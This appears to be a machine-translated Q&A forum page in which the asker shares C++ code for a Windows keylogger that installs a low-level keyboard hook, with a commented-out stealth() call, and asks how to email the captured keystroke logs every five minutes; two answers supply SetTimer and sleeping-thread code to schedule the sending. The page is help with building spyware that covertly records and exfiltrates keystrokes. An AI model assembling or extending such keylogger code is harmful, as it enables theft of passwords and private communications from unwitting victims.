2

我正在制作一个记录击键的键盘记录器(duh ..)。现在,当我在 C++ 中实现了基本的键盘记录器时,我想为应用程序添加一个新功能:我希望它将日志邮寄到我的电子邮件中。到目前为止一切顺利,我发现这个开源电子邮件客户端非常适合我的需求。我唯一的问题是让应用程序以 x 分钟的间隔发送日志。

int main(int argc, char *argv[])
{
    //stealth();
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
    if(hHook == NULL)
    {
        cout << "Hook failed" << endl;
    }

    MSG message;
    while(GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }

    return 0;
}

不知何故,我需要实现某种计数器,它会在某些时候使用函数send(); . 任何人都知道如何修改 MSG 循环以执行函数send(); 每5分钟一次?

4

2 回答 2

3

看看SetTimer函数,我认为它完全符合您的需要。

在事件循环之前,您应该以所需的间隔调用此函数,并且必须将回调函数传递给它。或者,您可以使用另一个函数CreateTimerQueueTimer

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}

UINT timer = SetTimer(NULL, 0, 500, &TimerProc);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
    TranslateMessage(&message);
    DispatchMessage(&message);
}

KillTimer(NULL, timerId);
于 2013-05-10T11:10:06.827 回答
1

创建一个新线程来休眠 x milis,然后在 while(!interrupted) 循环中发送。您可能知道,同时从 2 个不同的线程访问相同的数据进行读取和写入会导致错误。 http://msdn.microsoft.com/en-us/library/kdzttdcb(v=vs.80).aspx

为避免这种情况,您可以使用临界区

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908(v=vs.85).aspx

或者只是让你的线程进入睡眠状态并将一个布尔值变为真,意思是“是的,我们已经等够了”,你的主函数总是在该布尔值为真时发送数据,然后将其设置回假。

编辑:我相信这是归档这个更简单的方法

while(!interrupted) { // Your thread will do this.
    sleep(60000);
    maysend = true;
}
[...]
if(maysend) { // Your main function will contain this
    send();
    maysend = false;
}
于 2013-05-10T11:13:39.207 回答